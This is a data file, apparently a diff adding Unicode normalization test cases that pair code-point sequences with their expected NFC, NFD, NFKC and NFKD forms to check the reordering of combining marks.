+{ source: [0x0061, 0xA8C4, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xA8C4, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xA8C4, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xA8C4, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xA8C4, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E0, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E0, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E1, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E1, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E2, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E2, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E3, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E3, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E4, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E4, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E5, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E5, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E6, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E6, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E7, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E7, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E8, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E8, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8E9, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8E9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8E9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8E9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8E9, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8E9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8E9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8E9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8E9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8E9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EA, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EA, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EB, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EB, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EC, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EC, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8ED, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8ED, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8ED, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8ED, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8ED, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8ED, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8ED, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8ED, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8ED, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8ED, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EE, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EE, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8EF, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8EF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8EF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8EF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8EF, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8EF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8EF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8EF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8EF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8EF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8F0, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8F0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8F0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8F0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8F0, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8F0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8F0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8F0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8F0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8F0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xA8F1, 0x0062], NFC: [0x00E0, 0x05AE, 0xA8F1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xA8F1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xA8F1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xA8F1, 0x0315, 0x0062] },
+{ source: [0x0061, 0xA8F1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xA8F1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xA8F1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xA8F1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xA8F1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xA92B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xA92B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xA92B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xA92B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xA92B, 0x059A, 0x0062] },
+{ source: [0x0061, 0xA92B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xA92B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xA92B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xA92B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xA92B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xA92C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xA92C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xA92C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xA92C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xA92C, 0x059A, 0x0062] },
+{ source: [0x0061, 0xA92C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xA92C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xA92C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xA92C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xA92C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xA92D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xA92D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xA92D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xA92D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xA92D, 0x059A, 0x0062] },
+{ source: [0x0061, 0xA92D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xA92D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xA92D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xA92D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xA92D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xA953, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xA953, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xA953, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xA953, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xA953, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xA953, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xA953, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xA953, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xA953, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xA953, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0xA9B3, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0xA9B3, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0xA9B3, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0xA9B3, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0xA9B3, 0x3099, 0x0062] },
+{ source: [0x0061, 0xA9B3, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0xA9B3, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0xA9B3, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0xA9B3, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0xA9B3, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xA9C0, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xA9C0, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xA9C0, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xA9C0, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xA9C0, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xA9C0, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xA9C0, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xA9C0, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xA9C0, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xA9C0, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB0, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB0, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB2, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB2, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB3, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB3, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0xAAB4, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0xAAB4, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0xAAB4, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0xAAB4, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0xAAB4, 0x059A, 0x0062] },
+{ source: [0x0061, 0xAAB4, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0xAAB4, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0xAAB4, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0xAAB4, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0xAAB4, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB7, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB7, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAB8, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAB8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAB8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAB8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAB8, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAB8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAB8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAB8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAB8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAB8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAABE, 0x0062], NFC: [0x00E0, 0x05AE, 0xAABE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAABE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAABE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAABE, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAABE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAABE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAABE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAABE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAABE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAABF, 0x0062], NFC: [0x00E0, 0x05AE, 0xAABF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAABF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAABF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAABF, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAABF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAABF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAABF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAABF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAABF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0xAAC1, 0x0062], NFC: [0x00E0, 0x05AE, 0xAAC1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0xAAC1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0xAAC1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0xAAC1, 0x0315, 0x0062] },
+{ source: [0x0061, 0xAAC1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0xAAC1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0xAAC1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0xAAC1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0xAAC1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0xAAF6, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0xAAF6, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0xAAF6, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0xAAF6, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0xAAF6, 0x05B0, 0x0062] },
+{ source: [0x0061, 0xAAF6, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0xAAF6, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0xAAF6, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0xAAF6, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0xAAF6, 0x094D, 0x05B0, 0x0062] },
